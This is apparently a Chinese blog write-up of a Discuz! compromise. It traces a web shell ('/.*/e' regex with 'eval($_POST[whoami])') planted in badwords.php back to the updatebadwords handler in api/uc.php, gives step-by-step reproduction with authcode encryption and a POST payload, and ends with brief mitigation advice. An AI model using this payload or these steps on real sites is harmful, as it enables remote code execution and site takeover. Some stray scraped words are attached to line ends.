忽然有同事反馈,没法注册php
看到这里不了解的同行估计一年懵逼,这里也是经常使用的漏洞攻击,能够确定的是 badwords.php文件被修改了 ,能够查看这个文件内容正则表达式
<?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );
果真这里被篡改了 shell
这个文件路径在:uc_client/data/cache/badwords.phpapi
正常的文件内容为app
<?php $_CACHE['badwords'] = array ( );
首先须要作的是把这个文件改回来,而后堵住漏洞post
这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码以下:ui
function updatebadwords($get, $post) { global $_G; if(!API_UPDATEBADWORDS) { return API_RETURN_FORBIDDEN; } $data = array(); if(is_array($post)) { foreach($post as $k => $v) { $data['findpattern'][$k] = $v['findpattern']; $data['replace'][$k] = $v['replacement']; } } $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php'; $fp = fopen($cachefile, 'w'); $s = "
badwords
用的地方比较少,主要集中在uc的pm和user模块中。this
这里用user来举例,在uc_client/model/user.php
文件中有一个check_usernamecensor
方法,来校验用户名中是否有badwords,若是有的话就将他替换掉,代码以下:编码
function check_usernamecensor($username) { $_CACHE['badwords'] = $this->base->cache('badwords'); $censorusername = $this->base->get_setting('censorusername'); $censorusername = $censorusername['censorusername']; $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i'; $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username; if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) { return FALSE; } else { return TRUE; } }
能够看到代码中使用了preg_replace,那么若是咱们的正则表达式写成“/.*/e",就能够在使用这个方法的地方进行任意代码执行了。而这个方法在disucz中,只要是添加或者修改用户名的地方都会用到。加密
首先咱们们访问api/uc.php
,以后咱们会发现uc处理机制中比较讨厌的环节——用户传递的参数须要通过UC_KEY
加密:
if(!defined('IN_UC')) { require_once '../source/class/class_core.php'; $discuz = C::app(); $discuz->init(); require DISCUZ_ROOT.'./config/config_ucenter.php'; $get = $post = array(); $code = @$_GET['code']; parse_str(authcode($code, 'DECODE', UC_KEY), $get);
因此这里须要有个前提,须要知道UC_KEY或者能够操控UC_KEY。那么问题来了,咱们要怎么达到这个前提呢?
咱们在后台中站长->UCenter
设置中发现有“UCenter 通讯密钥
”这个字段,这是用于操控discuz和uc链接的app key,而非高级的uc_server key,不过对于咱们getshell来讲足够了。在这里修改成任意值,这样咱们就获取到了加密用的key值了。
能够看下配置文件,秘钥已经发生变化
文件路径为:config/config_ucenter.php
而后咱们在本身搭建的discuz的api/uc.php
文件中添加两行代码,来加密get请求所须要的内容:
$a = 'time='.time().'&action=updatebadwords'; $code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5'); echo $code; exit;
而后用post方法向api/uc.php发送带有正则表达式信息的xml数据包,请求头中有两个地方须要注意,一个是formhash,一个是刚才获取的code须要进行一次url编码
发送后能够发现uc_client/data/cache
目录下的badwords.php
内容就变了:
<?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );
以后利用方法就有不少种了,能够经过增长一个用户来实现代码执行,也能够经过发消息的方式来触发,或者用户注册
一、影响范围我的评价为“高”,Discuz! X系列使用范围极广
二、这个漏洞不仅是单纯的后台代码执行,在uc_app key泄露的状况下也是能够利用的
限制用户提交正则表达式的内容
不容许这用就对了